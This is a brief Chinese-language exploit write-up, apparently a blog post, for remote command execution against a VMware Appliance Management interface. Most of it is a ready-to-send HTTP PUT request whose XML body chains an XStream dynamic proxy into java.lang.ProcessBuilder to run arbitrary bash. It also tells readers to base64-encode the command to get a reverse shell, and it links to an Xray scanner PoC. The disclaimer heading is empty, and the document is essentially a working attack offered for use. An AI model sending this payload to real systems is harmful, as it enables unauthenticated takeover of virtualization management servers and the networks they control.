免责声明
简介
访问VMware Appliance Management页面,如图:
使用下面Poc进行命令执行测试:
PUT /api/2.0/services/usermgmt/password/abc HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 546
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>cmd</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
GetShell
直接bash会因为特殊字符无法获得shell。通过base64编码一下即可反弹shell,如图:
Xray Poc
https://t.zsxq.com/08OAm0JQ9